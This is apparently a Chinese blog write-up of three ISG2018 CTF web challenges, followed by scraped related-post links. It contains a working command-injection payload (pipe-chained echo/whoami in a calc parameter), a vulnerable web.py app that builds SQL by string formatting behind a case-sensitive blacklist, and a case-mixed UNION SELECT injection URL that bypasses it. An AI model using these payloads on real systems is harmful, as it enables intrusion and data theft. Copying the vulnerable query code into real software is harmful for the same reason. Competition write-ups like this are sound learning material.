0x01.命令注入

这题可以使用burpsuite扫出来,但是可能需要测一下。

得知payload为:i%7cecho%20gzavvlsv9c%20q9szmriaiy%7c%7ca%20%23'%20%7cecho%20gzavvlsv9c%20q9szmriaiy%7c%7ca%20%23%7c%22%20%7cecho%20gzavvlsv9c%20q9szmriaiy%7c%7ca%20%23

刚开始有点尴尬,以为不行了呢。

但是大家可以注意到,等号后面是输出了的,也就是说确实执行了echo的。

然后执行whoami确实执行成功了。

然后就是直接ls得到flag路径cat flag了。

http://202.120.7.205:60003/index.php?calc=i|echo%20gzavvlsv9c%20q9szmriaiy||a%20%23%27%20|echo%20gzavvlsv9c%20q9szmriaiy||a%20%23|%22%20|whoami||a%20%23

0x02.

提供了如下py文件。

很简单可以看出是存在SQL注入的,但是有部分过滤。

 #coding: utf8
import web
import os
import re
import sys
import sqlite3
from web.contrib.template import render_mako abspath = os.path.dirname(__file__)
sys.path.append(abspath)
#os.chdir(abspath)
urls = (
'/', 'index',
'/news-(.+).html', 'news',
# webpy URI route line by line.
) app = web.application(urls, globals(), autoreload=True) web.config.debug = True def my_loadhook():
web.header('content-type', 'text/html;charset=utf-8', unique=True) app.add_processor(web.loadhook(my_loadhook)) def notfound():
return web.notfound('') def internalerror():
return web.internalerror('') app.notfound = notfound
app.internalerror = internalerror render = render_mako(
directories=[abspath + '/templates'],
input_encoding='utf-8',
output_encoding='utf-8',
) def codesafe(n):
if re.search("select", n) or re.search(" ", n) or re.search("where", n) or re.search("=", n) or re.search("'", n):
return False
else:
return True class index:
def GET(self): try:
conn = sqlite3.connect(abspath + '/db/data.db')
except:
conn = sqlite3.connect('db/data.db')
cur = conn.cursor()
a = cur.execute('select id,title from news order by id asc').fetchall()
cur.close()
conn.close()
return render.index(list=a) class news:
def GET(self, id):
# try:
# id = web.input()['id']
# except:
# raise web.seeother('/')
if not codesafe(id):
return 'Hacker?'
try:
conn = sqlite3.connect(abspath + '/db/data.db')
except:
conn = sqlite3.connect('db/data.db')
cur = conn.cursor()
sql = 'select title,content from news where id = {0}'.format(id)
a = cur.execute(sql).fetchall()
cur.close()
conn.close()
return render.news(title=a[0][0], content=a[0][1]) if __name__ == '__main__':
app.run()
else:
application = app.wsgifunc()

  因为根本都没有验证大小写所以直接大小写就可以绕过,这里分享一个比赛的tips,注入里好多表明列明都是flag,别去猜裤猜表了,直接select flag from flag试试。

  所以得出payload为:http://202.120.7.206:60019/news-2/**/uNion/**/sELECT/**/1,flag/**/FROM/**/flag.html

0x03.

  这题做出来的人比较多也比较low。之前刷题就刷到过。

  一打开就是提示要输入密码

  

  然后源码里看到了一个base64加密的发现并不是flag

  

  最终直接curl http://202.120.7.207:60007/index.html得到flag

    

表示只会做WEB 至于PWN实在是有心无力。

ISG2018 web题Writeup的更多相关文章

  1. 实验吧 web题writeup

    1.http://ctf5.shiyanbar.com/web/wonderkun/web/index.html 用户名我输入:or'xor"and"select"uni ...

  2. SycSec成都信息工程大学2019CTF-前五道WEB题writeup

    一.WEB (1)一起来撸猫 flag藏在标签的注释内  <!--这是注释--> (2)你看见过我的菜刀么 eval漏洞 利用蚁剑连接 连接密码就是要post传的参数 连接成功后在网站根目 ...

  3. CTFHub Web题学习笔记(SQL注入题解writeup)

    Web题下的SQL注入 1,整数型注入 使用burpsuite,?id=1%20and%201=1 id=1的数据依旧出现,证明存在整数型注入 常规做法,查看字段数,回显位置 ?id=1%20orde ...

  4. 实验吧web题:

    实验吧web题: 这个有点简单 因为刚了解sqlmap,所以就拿sqlmap来练练手了 1,先测试该页面是否存在sql注入漏洞 2.找到漏洞页面,复制url,然后打开sqlmap 先查看当前数据库 然 ...

  5. jarvis OJ WEB题目writeup

    0x00前言 发现一个很好的ctf平台,题目感觉很有趣,学习了一波并记录一下 https://www.jarvisoj.com 0x01 Port51 题目要求是用51端口去访问该网页,注意下,要用具 ...

  6. i春秋CTF web题(1)

    之前边看writeup,边做实验吧的web题,多多少少有些收获.但是知识点都已记不清.所以这次借助i春秋这个平台边做题,就当记笔记一样写写writeup(其实都大部分还是借鉴其他人的writeup). ...

  7. XCTF攻防世界Web之WriteUp

    XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...

  8. CTF--web 攻防世界web题 robots backup

    攻防世界web题 robots https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=506 ...

  9. CTF--web 攻防世界web题 get_post

    攻防世界web题 get_post https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5 ...

随机推荐

  1. Kafka设计解析

    Kafka剖析(一):Kafka背景及架构介绍 Kafka设计解析(二):Kafka High Availability (上) Kafka设计解析(三):Kafka High Availabilit ...

  2. Moya/RxSwift/ObjectMapper/Alamofire开发

    废话不多说直接上代码 // // MoyaNetWorking.swift // GreenAir // // Created by BruceAlbert on 2017/9/18. // Copy ...

  3. Hadoop基于Protocol Buffer的RPC实现代码分析-Server端--转载

    原文地址:http://yanbohappy.sinaapp.com/?p=110 最新版本的Hadoop代码中已经默认了Protocol buffer(以下简称PB,http://code.goog ...

  4. 修改gcc/g++默认include路径

    修改gcc/g++默认include路径 转自:http://www.network-theory.co.uk/docs/gccintro/gccintro_23.htmlhttp://ilewen. ...

  5. 前端开发学习之——利用模板实现涉及url问题时的bug分析及解决(chrome源码)

    例如我们要实现如下页面,其中历史页面列表想来自底层返回的数据,此处用testData代替: 最初我写的实现代码如下: html文件: <!doctype html> <html cl ...

  6. YOLO v1之总结篇(linux+windows)

    YOLO出自2016 CVPR You Only Look Once:Unified, Real-Time Object Detection,也是一个非常值得学习的框架,不得不说facebook的技术 ...

  7. 【CF528D】Fuzzy Search(FFT)

    [CF528D]Fuzzy Search(FFT) 题面 给定两个只含有\(A,T,G,C\)的\(DNA\)序列 定义一个字符\(c\)可以被匹配为:它对齐的字符,在距离\(K\)以内,存在一个字符 ...

  8. 【BZOJ1493】【NOI2007】项链工厂(线段树)

    [BZOJ1493]项链工厂(线段树) 题面 BZOJ 洛谷 Description T公司是一家专门生产彩色珠子项链的公司,其生产的项链设计新颖.款式多样.价格适中,广受青年人的喜爱. 最近T公司打 ...

  9. BZOJ3262:陌上花开 & 洛谷3810:三维偏序——题解

    http://www.lydsy.com/JudgeOnline/problem.php?id=3262 https://www.luogu.org/problemnew/show/3810 Desc ...

  10. 表格隔行变色_CSS实现鼠标悬停高亮

    <!doctype html> <html> <head> <meta http-equiv="content-type" content ...